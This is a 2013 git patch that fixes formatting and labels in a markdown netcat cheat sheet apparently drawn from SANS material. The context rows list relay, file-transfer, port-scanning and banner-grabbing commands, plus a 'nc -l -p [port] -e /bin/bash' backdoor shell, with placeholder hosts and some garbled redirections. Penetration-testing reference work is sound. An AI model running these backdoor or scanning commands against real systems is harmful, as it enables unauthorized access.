From 5184c0b1620da16ea60539969b58bad0e5af8687 Mon Sep 17 00:00:00 2001 From: webbreacher Date: Tue, 17 Dec 2013 16:07:08 -0500 Subject: [PATCH] Fixed line break --- cats/netcat.md | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/cats/netcat.md b/cats/netcat.md index 27e4e54..43739f9 100755 --- a/cats/netcat.md +++ b/cats/netcat.md @@ -6,9 +6,8 @@ The [SANS Institute](http://www.sans.org/security-resources/sec560/netcat_cheat_ ## Relays on Linux Before you do any of the Linux relays with netcat below, please do the following: -``$ cd /tmp -$ mknod backpipe p -`` +``$ cd /tmp`` +``$ mknod backpipe p`` ## Commands | Command | Category | Description / Importance | @@ -19,8 +18,8 @@ $ mknod backpipe p | `$ nc -l -p [LocalPort_1] 0 echo nc [NextHopIPaddr] [port2] > relay.bat`
`C:\> nc [PreviousHopIPaddr] [port] -e relay.bat` | Relay - Windows | **Client-to-Client Relay** - Create a relay that will send packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat Client connected to [NextHopIPaddr] on port [port2] | | `$ nc [PreviousHopIPaddr] [port] 0 [outfile]`
**Listener:** `nc -w3 [TargetIPaddr] [port] < [infile]` | File Transfer - All OS | Push [infile] to [TargetIPaddr] on [port] | -| **Listener:** `nc -l -p [LocalPort] < [infile]`
**Client:** `nc -w3 [TargetIPaddr] [port] > [outfile]` | File Transfer - All OS | Connect to [TargetIPaddr] on [port] and retrieve [outfile] | +| **Server:** `nc -w3 [TargetIPaddr] [port] < [infile]`
**Client:** `nc -l -p [LocalPort] > [outfile]` | File Transfer - All OS | Push [infile] to [TargetIPaddr] on [port] | +| **Server:** `nc -l -p [LocalPort] < [infile]`
**Client:** `nc -w3 [TargetIPaddr] [port] > [outfile]` | File Transfer - All OS | Connect to [TargetIPaddr] on [port] and retrieve [outfile] | | `echo ""` | `nc -v -n -w1 [TargetIPaddr] [start_port] [end_port]` | TCP Banner Grabber | Attempt to connect to each port in a range from [end_port] to [start_port] on [TargetIPaddr]. Then send a blank string to the open port and print out any banner received in response. | | `nc -v -n -z -w1 [TargetIPaddr] [start_port] [end_port]` | TCP Port Scanner | Attempt to connect to each port in a range from [end_port] tp [start_port] on IP address [TargetIPaddr]. | | `$ nc -l -p [LocalPort] -e /bin/bash` | Backdoor - Linux | Listening backdoor shell for a Linux computer. Use a netcat client to connect to the target's IP address on the [LocalPort] and you will get a BASH shell. |